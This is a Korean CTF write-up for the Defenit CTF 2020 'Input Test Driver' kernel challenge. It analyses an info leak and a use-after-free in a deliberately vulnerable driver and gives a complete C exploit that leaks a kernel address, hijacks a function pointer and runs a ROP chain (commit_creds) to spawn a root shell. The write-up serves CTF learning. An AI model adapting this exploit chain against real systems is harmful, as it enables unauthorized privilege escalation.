Defenit CTF 2020 - Input Test Driver

0x00. Introduction

qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./tmp/"$ROOTFS_NAME".cpio  \
-append 'root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr' \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \
-cpu qemu64,smep \
-smp 1 \

KASLR๊ณผ SMEP๊ฐ€ ์ ์šฉ๋˜์–ด ์žˆ๋‹ค.

์†Œ์Šค ์ฝ”๋“œ์™€ intended solution์ด ์ถœ์ œ์ž๋‹˜ github์— ์˜ฌ๋ผ์™€ ์žˆ๋‹ค.

Concept

ํ‚ค๋ณด๋“œ, ๋งˆ์šฐ์Šค์™€ ๊ฐ™์€ ์‚ฌ์šฉ์ž ์ž…๋ ฅ ์žฅ์น˜์™€ ์ปค๋„์„ ์—ฐ๊ฒฐํ•ด์ฃผ๋Š” input device driver๋ฅผ ํ‰๋‚ด๋‚ธ ์ฝ”๋“œ์ด๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ํ•˜๋“œ์›จ์–ด์ธ ํ‚ค๋ณด๋“œ์—์„œ ํŠน์ • ํ‚ค๋ฅผ ๋ˆ„๋ฅด๋ฉด,

  1. ๋“œ๋ผ์ด๋ฒ„๊ฐ€ ์Šค์บ” ์ฝ”๋“œ๋กœ ํ‚ค๋ฅผ ํ™•์ธ
  2. ๋ฆฌ๋ˆ…์Šค Input Subsystem์— ์ด๋ฒคํŠธ๋ฅผ ๋ฐœ์ƒ์‹œ์ผœ ๋ณด๊ณ 
  3. /dev/input/eventX๊ฐ™์€ ๋””๋ฐ”์ด์Šค ํŒŒ์ผ๋กœ ๋…ธ์ถœ

์œ ์ € ๊ณต๊ฐ„์—์„œ๋Š” /dev/input/eventX ๋””ํŒŒ์ด์Šค ํŒŒ์ผ์„ ์ฝ์–ด์„œ ์‹ค์ œ ๋™์ž‘์œผ๋กœ ๋ฐ”๊พผ๋‹ค.

0x01. Vulnerability

Info Leak

static int report_touch_press(char *start, int len) {
    int i;

    if(!len) {
        printk("len error");
        return -1;
    }

    for(i=0; i<=len; i++) {                             // 1-byte oob
        input_report_key(test_dev, BTN_TOUCH, 1);
        input_report_abs(test_dev, ABS_X, *(char *)(start+i));
        input_report_abs(test_dev, ABS_Y, *(char *)(start+i));
        input_sync(test_dev);
    }

    return 0;
}
...
static long input_test_driver_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {

    switch(cmd) {
        case 0x1337:
            printk("report_touch_press call");
            mutex_lock(&test_mutex);

            if(!_fp) {
                _fp = kzalloc(sizeof(struct fp_struct), GFP_ATOMIC);
                _fp->fp_report_ps = report_touch_press;
                _fp->fp_report_rl = report_touch_release;
                _fp->gift = printk;
                _fp->gift("_fp class allocate");
            }

            _fp->fp_report_ps(ptr, strlen(ptr));        // use strlen() to return length

            mutex_unlock(&test_mutex);

            break;
    ...
    }
    ...
}

input_test_driver_ioctl()๋Š” ์œ ์ € ๊ณต๊ฐ„์—์„œ ํ•ด๋‹น ๋“œ๋ผ์ด๋ฒ„์— ๋Œ€ํ•ด ioctl()๋ฅผ ํ˜ธ์ถœํ–ˆ์„ ๋•Œ ์ปค๋„ ๋‚ด๋ถ€์—์„œ ํ˜ธ์ถœ๋˜๋Š” ํ•จ์ˆ˜์ด๋‹ค. cmd๋ฅผ 0x1337์œผ๋กœ ์„ค์ •ํ•ด์„œ ioctl()์„ ํ˜ธ์ถœํ•˜๋ฉด _fp์˜ ์กด์žฌ ์—ฌ๋ถ€์— ๋”ฐ๋ผ ๊ตฌ์กฐ์ฒด๋ฅผ ์ดˆ๊ธฐํ™”ํ•˜๊ณ  fp_report_ps()๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค.

report_touch_press(), report_touch_release()์€ ๊ฐ๊ฐ ํ„ฐ์น˜ ์Šคํฌ๋ฆฐ์˜ ๋ˆ„๋ฆ„, ๋—Œ์„ ๊ฐ์ง€ํ•˜์—ฌ ์ด๋ฒคํŠธ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๋Š” ํ•จ์ˆ˜์ด๋‹ค. ์ด ๋•Œ ๋‘ ๋ฒˆ์งธ ์ธ์ž์ธ len์— strlen(ptr)์ด ๋“ค์–ด๊ฐ€๊ฒŒ ๋œ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ptr์ด NULL์„ ๋งŒ๋‚˜๊ธฐ ์ „๊นŒ์ง€์˜ ๊ธธ์ด๊ฐ€ len์— ์ „๋‹ฌ๋˜๋ฏ€๋กœ \x00์„ ๊ฝ‰ ์ฑ„์šฐ๋ฉด ๋’ค ๋ฉ”๋ชจ๋ฆฌ๊นŒ์ง€ leak์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

์‚ฌ์‹ค ์ด๊ฑธ๋กœ ์ถฉ๋ถ„ํ•  ๊ฒƒ ๊ฐ™์€๋ฐ report_touch_press() ๋‚ด๋ถ€์—์„œ๋„ for(i=0; i<=len; i++)์™€ ๊ฐ™์ด <=์œผ๋กœ ๋ฒ”์œ„๋ฅผ ์ฒดํฌํ•˜๊ธฐ ๋•Œ๋ฌธ์— 1-byte OOB๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.

Use After Free

static ssize_t input_test_driver_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) {
    char *result;
    size_t len;

    mutex_lock(&test_mutex);

    if(ptr) {
        kfree(ptr);                                     // ptr still pointing slab chunk
    }

    if(count<256) {
        len = count;
        count = 256;
    } else if(count>0x40000) {
        len = 416;
    } else {
        len = count;
    }

    if(result = (char *)kmalloc(count, GFP_ATOMIC))     // fails if count is too big
        ptr = result;                                   // dangling pointer!

    if (copy_from_user(ptr, buf, len) != 0) {
        mutex_unlock(&test_mutex);
        return -EFAULT;
    }

    mutex_unlock(&test_mutex);

    return 0;
}

input_test_driver_write()๋Š” ์œ ์ € ๊ณต๊ฐ„์—์„œ ํ•ด๋‹น ๋“œ๋ผ์ด๋ฒ„์— ๋Œ€ํ•ด write()๋ฅผ ํ˜ธ์ถœํ–ˆ์„ ๋•Œ ์ปค๋„ ๋‚ด๋ถ€์—์„œ ํ˜ธ์ถœ๋˜๋Š” ํ•จ์ˆ˜์ด๋‹ค.

๋ฌธ์ œ๋Š” ptr์ด NULL์ด ์•„๋‹ˆ๋ฉด ๊ฐ€๋ฆฌํ‚ค๊ณ  ์žˆ๋Š” ์˜์—ญ์„ ํ•ด์ œํ•˜๊ณ  ๋‹ค์‹œ ํ• ๋‹นํ•˜๋Š”๋ฐ, ptr์„ ์ดˆ๊ธฐํ™”ํ•˜์ง€๋Š” ์•Š๋Š”๋‹ค. ๋Œ€์‹  ๋’ค์—์„œ ์Šฌ๋žฉ ๊ฐ์ฒด๋ฅผ ์ƒˆ๋กœ ํ• ๋‹นํ•ด์„œ ptr์— ์ฃผ์†Œ๋ฅผ ๋„ฃ์–ด์ฃผ๋Š”๋ฐ, ์—ฌ๊ธฐ์—์„œ ๋˜ ๋‹ค๋ฅธ ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•œ๋‹ค.

์ปค๋„์˜ kmalloc()์—์„œ ํฐ ์‚ฌ์ด์ฆˆ์˜ ์Šฌ๋žฉ ๊ฐ์ฒด๋ฅผ ์š”์ฒญํ•˜๋ฉด ํ• ๋‹น์— ์‹คํŒจํ•˜๊ฒŒ ๋˜๊ณ , NULL์„ ๋ฆฌํ„ดํ•œ๋‹ค. result์— NULL์ด ๋“ค์–ด๊ฐ€๋ฉด ptr์— ๊ฐ’ ๊ฐฑ์‹ ์ด ๋˜์ง€ ์•Š์œผ๋ฏ€๋กœ, ํ•ด์ œํ–ˆ๋˜ ptr์ด dangling pointer๋กœ ๋‚จ๊ฒŒ ๋œ๋‹ค.

0x02. Exploit

Info Leak

Exploit์„ ์ง„ํ–‰ํ•˜๊ธฐ์— ์•ž์„œ ๋ณดํ˜ธ ๊ธฐ๋ฒ•์„ ๋˜์งš์–ด๋ณด๋ฉด SMEP๊ฐ€ ๊ฑธ๋ ค์žˆ๊ธฐ ๋•Œ๋ฌธ์— kernel ROP๋ฅผ ํ•ด์•ผํ•˜์ง€๋งŒ, KASLR์ด ๊ฑธ๋ ค์žˆ์–ด ์ปค๋„ base ์ฃผ์†Œ๋ฅผ ๊ตฌํ•ด์•ผ ํ•œ๋‹ค.

static struct fp_struct {
    char dummy[392];
    asmlinkage int (*gift)(const char *, ...);
    int (*fp_report_ps)(char *, int);
    int (*fp_report_rl)(void);
};

๋Œ€๋†“๊ณ  fp_struct->gift๋ผ๋Š” ๋ณ€์ˆ˜๋ช…์— printk() ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๊ฐ€ ์žˆ์œผ๋ฏ€๋กœ ์ž˜ ์ƒ๊ฐํ•ด๋ณด๋ฉด, strlen()์„ ์ด์šฉํ•ด ๊ธธ์ด๋ฅผ ์ธก์ •ํ•˜๋Š” ์ทจ์•ฝ์  ๋•Œ๋ฌธ์— dummy๋ฅผ ๊ฐ€๋“ ์ฑ„์›Œ์ฃผ๋ฉด gift์— ์ €์žฅ๋œ ์ฃผ์†Œ๊นŒ์ง€ ์ถœ๋ ฅํ•˜๊ฒŒ ๋œ๋‹ค.

static int input_test_driver_release(struct inode *inode, struct file *file) {
    printk("input_test_driver release");

    mutex_lock(&test_mutex);

    if(ptr) {
        kfree(ptr);
        ptr = 0;
    }

    if(_fp) {
        kfree(_fp);
        _fp = 0;
    }

    mutex_unlock(&test_mutex);

    return 0;
}

๋“œ๋ผ์ด๋ฒ„์™€ ํ†ต์‹ ํ•˜๊ธฐ ์œ„ํ•ด open()ํ–ˆ๋˜ file descriptor๋ฅผ close()ํ•  ๋•Œ ํ˜ธ์ถœ๋˜๋Š” input_test_driver_release()๋ฅผ ๋ณด๋ฉด ptr, _fp๋ฅผ ํ•ด์ œํ•˜๊ณ  ์ดˆ๊ธฐํ™”ํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

ํ•˜์ง€๋งŒ ์Šฌ๋žฉ ๊ฐ์ฒด ์•ˆ์— ์žˆ๋Š” ๋ฐ์ดํ„ฐ๋Š” ์ดˆ๊ธฐํ™”ํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์—, ํ•ด์ œ๋œ _fp์˜ ํฌ๊ธฐ์™€ ๋น„์Šทํ•œ ํฌ๊ธฐ์˜ ptr์„ ํ• ๋‹นํ•œ๋‹ค๋ฉด ํ•ด์ œ๋˜์—ˆ๋˜ ์˜์—ญ์„ ๋‹ค์‹œ ๋ฐ›์•„์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

    fd1 = open("/dev/input/event2", O_RDONLY);
    fd2 = open("/dev/input_test_driver", O_RDWR);
    
    write(fd2, "AAAAAAAA", 8);          // kernel panic if there is no ptr
    ioctl(fd2, 0x1337, NULL);
    close(fd2);

    fd2 = open("/dev/input_test_driver", O_RDWR);
    memset(payload, 0x42, 392);
    write(fd2, payload, 392);

    ioctl(fd2, 0x1337, NULL);

์ด๋ ‡๊ฒŒ ioctl() ํ˜ธ์ถœ์„ ํ†ตํ•ด _fp๋ฅผ ํ• ๋‹นํ•˜๊ณ  close()ํ•˜๋ฉด ์Šฌ๋žฉ ๊ฐ์ฒด์˜ ํฌ๊ธฐ๊ฐ€ 416๋ฐ”์ดํŠธ์ด๋ฏ€๋กœ kmalloc-512 ์บ์‹œ๋กœ ์ด๋™ํ•œ๋‹ค. printk()์˜ ์ฃผ์†Œ๋ฅผ ๋ฎ์–ด์“ฐ์ง€ ์•Š๊ธฐ ์œ„ํ•ด 392๋ฐ”์ดํŠธ์˜ ์Šฌ๋žฉ ๊ฐ์ฒด๋ฅผ ํ• ๋‹นํ•˜๋ ค๊ณ  ํ•˜๋ฉด kmalloc-512 ์บ์‹œ์— ์žˆ๋Š” ๊ฐ์ฒด๊ฐ€ ๋ฐ˜ํ™˜๋œ๋‹ค.

์ด๋ฅผ ์ด์šฉํ•ด 392๋ฐ”์ดํŠธ๋ฅผ 0์ด ์•„๋‹Œ ๊ฐ’(0x42)๋กœ ์ฑ„์›Œ๋„ฃ์œผ๋ฉด strlen()์—์„œ NULL์„ ๋งŒ๋‚  ๋•Œ๊นŒ์ง€ ๊ธธ์ด๋ฅผ ์ธก์ •ํ•˜๋ฏ€๋กœ printk()์˜ ์ฃผ์†Œ๋ฅผ leakํ•  ์ˆ˜ ์žˆ๋‹ค.

/ $ ./exp
type: 1, code: 330, value: 0x1 
type: 3, code: 0, value: 0x41 
type: 3, code: 1, value: 0x41 
type: 0, code: 0, value: 0x0 
type: 3, code: 0, value: 0x0 
type: 3, code: 1, value: 0x0 
type: 0, code: 0, value: 0x0 
type: 3, code: 0, value: 0x42 
type: 3, code: 1, value: 0x42 
type: 0, code: 0, value: 0x0 
type: 3, code: 0, value: 0x20 
type: 3, code: 1, value: 0x20 
type: 0, code: 0, value: 0x0 
type: 3, code: 0, value: 0xb8 
type: 3, code: 1, value: 0xb8 
type: 0, code: 0, value: 0x0 
type: 3, code: 0, value: 0xae 
type: 3, code: 1, value: 0xae 
type: 0, code: 0, value: 0x0 
type: 3, code: 0, value: 0xb3 
type: 3, code: 1, value: 0xb3 
leak : 0xffffffffb3aeb820

Use After Free

UAF ์ทจ์•ฝ์ ์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๊ณ  ๋‚œ ํ›„์˜ ์ƒํ™ฉ์„ ์ƒ๊ฐํ•ด๋ณด๋ฉด ptr์€ dangling pointer๊ฐ€ ๋˜์–ด free๋œ ์Šฌ๋žฉ ๊ฐ์ฒด๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ณ  ์žˆ๋‹ค. ์ด ์Šฌ๋žฉ ๊ฐ์ฒด๊ฐ€ kmalloc-512 ์บ์‹œ์— ์žˆ๋‹ค๋ฉด ioctl()์„ ํ†ตํ•ด _fp ํ• ๋‹น ์‹œ ๊ทธ ๊ฐ์ฒด๋ฅผ ๋ฐ˜ํ™˜๋ฐ›๊ฒŒ ๋œ๋‹ค.

static ssize_t input_test_driver_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) {
    ...
    if(count<256) {
        len = count;
        count = 256;
    } else if(count>0x40000) {
        len = 416;
    } else {
        len = count;
    }

    if(result = (char *)kmalloc(count, GFP_ATOMIC))
        ptr = result;

    if (copy_from_user(ptr, buf, len) != 0) {
        mutex_unlock(&test_mutex);
        return -EFAULT;
    }
    ...
}

๋”ฐ๋ผ์„œ ptr, _fp๊ฐ€ ๊ฐ™์€ ์Šฌ๋žฉ ๊ฐ์ฒด๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ๋˜๊ณ , kmalloc()์˜ size๊ฐ€ ์ปค์„œ ํ• ๋‹น์— ์‹คํŒจํ•˜๋”๋ผ๋„ copy_from_user()๋Š” ์‹คํ–‰๋˜๋ฏ€๋กœ _fp์˜ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๋‹ค.

    fd2 = open("/dev/input_test_driver", O_RDWR);
    memset(payload, 0x43, 392);
    write(fd2, payload, 416);
    write(fd2, payload, 0x500000);

    ioctl(fd2, 0x1337, NULL);

    *(uint64_t *)(payload + 408) = xchg_64;
    write(fd2, payload, 0x510000);

    ioctl(fd2, 0x7331, NULL);

Exploit ํ๋ฆ„์„ ์„ค๋ช…ํ•˜๋ฉด,

  1. write()๋ฅผ ํ†ตํ•ด 416 ๋ฐ”์ดํŠธ์งœ๋ฆฌ ์Šฌ๋žฉ ๊ฐ์ฒด ํ• ๋‹น
  2. write()๋ฅผ ๋‹ค์‹œ ํ˜ธ์ถœํ•ด์„œ
    • ๊ธฐ์กด ์Šฌ๋žฉ ๊ฐ์ฒด๋ฅผ ํ•ด์ œ, kmalloc-512๋กœ ์ด๋™
    • ์˜๋„์ ์œผ๋กœ ํฐ ์‚ฌ์ด์ฆˆ์˜ ๊ฐ์ฒด๋ฅผ ์š”์ฒญํ•ด ๊ฐฑ์‹  ์‹คํŒจ
  3. ioctl()์„ ํ†ตํ•ด _fp ํ• ๋‹น, ์ด ๋•Œ kmalloc-512์—์„œ ์Šฌ๋žฉ ๊ฐ์ฒด๋ฅผ ๋ฐ›์•„์˜ค๊ฒŒ ๋จ
  4. write()๋ฅผ ๋งˆ์ง€๋ง‰์œผ๋กœ ํ˜ธ์ถœํ•ด์„œ ptr, ์ฆ‰ _fp์— 416 ๋ฐ”์ดํŠธ๋ฅผ ์“ฐ๋Š” ๊ณผ์ •์—์„œ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ overwrite

ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ๋ฐ”๊ฟ” rip control๋งŒ ๊ฐ€๋Šฅํ•œ ์ƒํ™ฉ์ด๋ฏ€๋กœ xchg eax, esp ๊ฐ€์ ฏ๊ณผ fake stack์„ ์ด์šฉํ•ด rop payload๋ฅผ ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ๋‹ค.

0x03. Payload

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>
#include <linux/input.h>

void shell() {
    execl("/bin/sh", "sh", NULL);
}

struct register_val {
    uint64_t user_rip;
    uint64_t user_cs;
    uint64_t user_rflags;
    uint64_t user_rsp;
    uint64_t user_ss;
} __attribute__((packed));

struct register_val rv;

void backup_rv(void) {
    asm("mov rv+8, cs;"
        "pushf; pop rv+16;"
        "mov rv+24, rsp;"
        "mov rv+32, ss;"
       );
    rv.user_rip = &shell;
}

void set_fake_stack(void *xchg_64) {
    uint32_t xchg_32;
    int i = 0;

    size_t pop_rdi_ret = xchg_64 + 0x6170f;
    size_t prepare_kernel_cred = xchg_64 + 0x8fe8f;
    size_t pop_rcx_ret = xchg_64 + 0x285312;
    size_t mov_rdi_rax_rep_pop_rbp_ret = xchg_64 + 0xf2ee;
    size_t commit_creds = xchg_64 + 0x8fadf;
    size_t swapgs_pop_rbp_ret = xchg_64 + 0x4c103;
    size_t iretq = xchg_64 + 0x2bc4f;
    
    xchg_32 = (uint32_t)xchg_64;
    mmap((void *)(xchg_32), 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

    backup_rv();

    ((uint64_t *)xchg_32)[i++] = pop_rdi_ret;
    ((uint64_t *)xchg_32)[i++] = 0;
    ((uint64_t *)xchg_32)[i++] = prepare_kernel_cred;
    ((uint64_t *)xchg_32)[i++] = pop_rcx_ret;
    ((uint64_t *)xchg_32)[i++] = 0;
    ((uint64_t *)xchg_32)[i++] = mov_rdi_rax_rep_pop_rbp_ret;
    ((uint64_t *)xchg_32)[i++] = 0; // for pop rbp
    ((uint64_t *)xchg_32)[i++] = commit_creds;
    ((uint64_t *)xchg_32)[i++] = swapgs_pop_rbp_ret;
    ((uint64_t *)xchg_32)[i++] = 0; // for pop rbp
    ((uint64_t *)xchg_32)[i++] = iretq;
    ((uint64_t *)xchg_32)[i++] = rv.user_rip;
    ((uint64_t *)xchg_32)[i++] = rv.user_cs;
    ((uint64_t *)xchg_32)[i++] = rv.user_rflags;
    ((uint64_t *)xchg_32)[i++] = rv.user_rsp;
    ((uint64_t *)xchg_32)[i++] = rv.user_ss;
}

int main() {
    struct input_event ie;
    int fd1, fd2, ret;
    char payload[416];
    size_t leak = 0xffffffff00000000;
    int i = 0, flag = 0;
    size_t xchg_64;
    
    fd1 = open("/dev/input/event2", O_RDONLY);
    fd2 = open("/dev/input_test_driver", O_RDWR);
    
    // step 1 : leak kernel base address
    write(fd2, "AAAAAAAA", 8);
    ioctl(fd2, 0x1337, NULL);
    close(fd2);

    fd2 = open("/dev/input_test_driver", O_RDWR);
    memset(payload, 0x42, 392);
    write(fd2, payload, 392);

    ioctl(fd2, 0x1337, NULL);
    
    while(1) {
        read(fd1, &ie, sizeof(struct input_event));
        printf("type: %d, code: %d, value: 0x%x \n", ie.type, ie.code, (unsigned char)ie.value);
        if(ie.code == 1 && ie.value == 0x20 || ie.code == 1 && flag) {
            leak = leak | (unsigned char)(ie.value) << (flag * 8);
            flag++;
            if(flag == 4)
                break;
        }
    }
    // step 2 : calculate the address of xchg_64
    printf("leak : 0x%lx\n", leak);
    xchg_64 = leak - 0xcdd5f;
    printf("xchg_64 : 0x%lx\n", xchg_64);

    close(fd1);
    close(fd2);

    // step 3 : set fake stack
    set_fake_stack(xchg_64);

    // step 4 : overwrite function pointer
    fd2 = open("/dev/input_test_driver", O_RDWR);
    memset(payload, 0x43, 392);
    write(fd2, payload, 416);
    write(fd2, payload, 0x500000);

    ioctl(fd2, 0x1337, NULL);

    *(uint64_t *)(payload + 408) = xchg_64;
    write(fd2, payload, 0x510000);

    ioctl(fd2, 0x7331, NULL);

    close(fd2);
    return 0;
}